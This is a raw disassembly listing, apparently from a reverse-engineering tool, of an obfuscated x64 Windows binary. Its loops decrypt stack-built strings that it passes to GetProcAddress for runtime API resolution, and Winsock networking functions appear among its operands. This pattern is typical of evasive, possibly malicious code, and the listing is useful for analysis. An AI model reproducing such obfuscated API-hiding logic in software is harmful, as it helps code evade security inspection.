lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x1400708b4
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140070638
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400708f8
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140070664
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400707a2
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140070338
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ff93
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400706d8
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ff93
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140070700
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x1400707a2
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007072a
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400708f2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400702fa
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
inc r8
dec r11
inc r11
jmp 0x14006ff93
mov byte [rbp + r11 + 0x160], dil
inc r11
jmp 0x14006ff93
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400708b4
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x44
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x24
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x160], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14007092b
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007092b
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
jmp 0x1400708f5
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
dec r11
inc r11
jmp 0x14006ff93
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007086d
movzx r9d, r11b
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x74
add r9b, r10b
mov byte [rbp + r11 + 0x160], r9b
inc r8
dec r11
inc r11
jmp 0x14006ff93
movzx r9d, r11b
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x4c
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x160], r9b
jmp 0x1400708f5
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006ff93
lea rdx, [r11 + r15]
movzx eax, dl
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1c
add dil, dl
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x160], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ff93
lea rcx, [r11 + rsi]
movzx eax, cl
and al, r9b
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x44
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ff93
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
jmp 0x14006ff90
sub r9b, 0x64
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x44
jmp 0x14006ff80
lea rdx, [rbp + 0x15aa450]
jmp 0x1400709f9
lea rdx, [rbp + 0xce8484]
jmp 0x1400709f9
lea rdx, [rbp + 0x160]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov byte [rbp + 0x180], 0xc9
mov byte [rbp + 0x181], 0x31
mov byte [rbp + 0x182], 0x3c
mov byte [rbp + 0x183], 0xc0
mov byte [rbp + 0x184], 0x2e
mov byte [rbp + 0x185], 0x42
mov byte [rbp + 0x186], 0xb5
mov byte [rbp + 0x187], 0x44
mov byte [rbp + 0x188], 0x48
mov byte [rbp + 0x189], 0x45
mov byte [rbp + 0x18a], 0x49
mov byte [rbp + 0x18b], 0x52
mov byte [rbp + 0x18c], 0xda
xor eax, eax
mov dword [rbp + 0x18d], eax
movabs rsi, 0xe35321c5d97b0db1
movabs r14, 0xa11bb5ec9dd3af3b
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r12d, r12d
cmp r12, 0x11
jae 0x140071392
movzx r10d, byte [rbp + r12 + 0x180]
mov edx, r10d
nop dword [rax]
cmp rbx, r12
ja 0x140071386
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140070ae2
lea rcx, [r12 + r14]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x63
jmp 0x140070b0f
je 0x140071302
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400712d2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140071291
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007126f
movzx r9d, r12b
cmp r8, r12
ja 0x14007137a
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x140070b41
lea ecx, [r9 - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1f
jmp 0x140070b82
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007122f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007120f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400711f2
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400711a6
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140071189
lea rdx, [r8 + rbx]
cmp rdx, r12
jbe 0x140070e8c
nop
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140070e71
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140070e4b
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140070e2e
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140070e0e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140070df1
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140070b90
lea rbx, [r8 + 8]
lea r8, [rbx + 3]
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14007135d
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140071340
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140070cb5
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140070c9a
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140070db7
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140070d92
lea rbx, [r8 + 1]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140070d75
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140070d58
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140070d39
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140070d19
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140070cf6
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140070cd0
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x80]
jmp 0x140070b90
lea ecx, [r9 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
jmp 0x140070b82
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
jmp 0x140070b13
add r9b, 0x42
movzx eax, r9b
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r12
jmp 0x140071324
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r12
jmp 0x140071324
add r9b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400712ec
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007115a
add r9b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
jmp 0x1400711be
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x140071315
sub r9b, 0x1f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x27
mov byte [rbp + r12 + 0x180], dil
jmp 0x140071324
lea ecx, [r9 + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x13
cmp r8, 5
jb 0x140070daa
lea ecx, [r9 - 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x1c]
jmp 0x140071245
add r9b, 0xa
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x46
jmp 0x140071315
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400712ec
add r9b, 0x32
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5e
jmp 0x1400712e9
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r12
jmp 0x140071324
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x140071245
lea r15, [r8 + 6]
lea rsi, [r8 + 1]
cmp rbx, r15
jae 0x140070f15
lea ecx, [r9 + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x63
lea r11, [r8 + 4]
lea r14, [r8 + 2]
cmp rdx, 0x200
je 0x140071149
cmp rbx, r11
jbe 0x140070fbf
lea ecx, [r9 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
cmp rbx, 0x20
jae 0x14007112b
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140071059
lea ecx, [r9 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
jmp 0x140070dcd
cmp rbx, rsi
jne 0x140070f3e
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140071315
lea r14, [r8 + 2]
cmp rbx, r14
jne 0x140070f66
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x14007115a
lea r11, [r8 + 4]
cmp rbx, r11
jne 0x140070f93
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
dec r12
jmp 0x140071324
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140070eb7
lea edx, [r9 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140071245
cmp rbx, rsi
jne 0x140070fe3
lea ecx, [r9 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
jmp 0x140071245
cmp rbx, r14
jne 0x14007100c
add r9b, 0x71
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x17
dec r12
jmp 0x140071324
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140071036
sub r9b, 0x2d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3b
jmp 0x1400712ec
cmp rbx, r11
jne 0x140070ee3
lea ecx, [r9 + 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
inc dil
jmp 0x14007115a
cmp rbx, rsi
jne 0x140071082
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140071315
cmp rbx, r14
jne 0x1400710ab
sub r9b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400711be
cmp rbx, r11
jne 0x1400710d7
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r12
jmp 0x140071324
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071107
sub r9b, 0x6a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1a
inc r8
dec r12
jmp 0x140071324
cmp rbx, r15
jne 0x140070dcd
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
jmp 0x140071245
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400712ab
lea ecx, [r9 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 2]
sub r9b, 0x57
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x61
add cl, r9b
movzx eax, cl
mov byte [rbp + r12 + 0x180], al
inc r8
add rax, r8
sub r12, rax
jmp 0x1400711be
sub r9b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x15
jmp 0x140071315
sub r9b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4f
lea ecx, [r12 - 0x1c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x3c
add r10b, cl
mov byte [rbp + r12 + 0x180], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r12, rax
jmp 0x140071315
sub r9b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3d
jmp 0x1400712ec
add r9b, 0x39
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x71
dec r12
jmp 0x140071324
lea ecx, [r9 + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1b
sub r9b, 0x43
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x2b
add r10b, r9b
mov byte [rbp + r12 + 0x180], r10b
inc r8
dec r12
jmp 0x140071324
lea ecx, [r12 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
inc r8
dec r12
jmp 0x140071324
movzx r9d, r12b
lea ecx, [r9 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
add r9b, 0x33
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x65
add r10b, r9b
add r10b, dil
mov byte [rbp + r12 + 0x180], r10b
jmp 0x1400712e9
lea ecx, [r12 - 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x41
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r12, rcx
jmp 0x140071324
lea rax, [r12 + rsi]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
add dil, 0x29
movzx eax, byte [rbp + r12 + 0x180]
add rax, r8
add r12, rax
inc r12
movabs rsi, 0xe35321c5d97b0db1
movabs r14, 0xa11bb5ec9dd3af3b
jmp 0x140070a96
sub r9b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6f
jmp 0x140070a93
add r9b, 0x31
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x57
jmp 0x140070a83
lea rdx, [rbp + 0x179bd24]
jmp 0x140071399
lea rdx, [rbp + 0x14d6c5f]
jmp 0x140071399
lea rdx, [rbp + 0x180]
mov r15, qword [rbp + 0x428]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov byte [rbp + 0x1a0], 7
mov byte [rbp + 0x1a1], 0x64
mov byte [rbp + 0x1a2], 0x76
mov byte [rbp + 0x1a3], 0
mov byte [rbp + 0x1a4], 0x68
mov byte [rbp + 0x1a5], WSAGetLastError
mov byte [rbp + 0x1a6], 0x63
mov byte [rbp + 0x1a7], WSAGetLastError
mov byte [rbp + 0x1a8], 0x7c
mov byte [rbp + 0x1a9], 0x1b
mov byte [rbp + 0x1aa], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x1ab], 0x68
mov byte [rbp + 0x1ac], 0x78
mov byte [rbp + 0x1ad], 0xcd
xor eax, eax
mov dword [rbp + 0x1ae], eax
mov byte [rbp + 0x1b2], al
movabs r12, 0x4c4a676520a0
movzx edi, byte [rbp + 0x410]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x13
jae 0x140071eea
movzx r10d, byte [rbp + r11 + 0x1a0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140071ede
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140071490
lea rcx, [r11 + r12]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x60
jmp 0x1400714bd
je 0x140071e60
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140071dc6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140071d6a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140071d20
movzx r9d, r11b
cmp r8, r11
ja 0x140071ed2
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400714f3
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140071530
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140071b4f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140071b7b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140071d00
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140071bab
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140071a37
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140071a1c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400719fe
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400719d8
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140071af4
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400719bb
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140071ad2
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007199f
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140071982
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140071953
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140071540
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x64]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140071eb5
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140071e95
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140071730
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140071715
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400716fa
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140071908
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400718bb
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007187e
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140071856
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140071540
lea rbx, [r8 + 0x10]
lea r8, [rbx + 1]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007182f
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007180f
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400717f1
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400717d4
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400717bf
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400717b1
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007178e
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140071768
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140071750
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140071540
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x28]
jmp 0x140071540
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140071530
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x1400714c1
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140071460
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
jmp 0x140071d3a
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x140071443
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
dec r11
inc r11
jmp 0x140071443
lea edx, [r9 + 0x40]
mov ecx, 0x20
jmp 0x140071d77
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x140071daa
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x140071dad
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x140071deb
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140071e18
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071443
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
mov byte [rbp + r11 + 0x1a0], dil
inc r11
jmp 0x140071443
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
cmp r8, 0x200
jb 0x14007186e
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x80]
jmp 0x140071d3a
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 6
jae 0x140071ccc
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140071bc8
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140071894
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x140071ce4
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140071b42
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1400718ca
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071443
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x140071e18
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140071de8
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x140071daa
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140071443
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
inc r8
dec r11
inc r11
jmp 0x140071443
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x140071d3a
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140071a62
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140071922
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071a9d
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071443
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071ac5
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x140071deb
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140071ae7
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x140071dad
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071b12
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x140071d88
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140071922
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x140071443
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071b6e
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
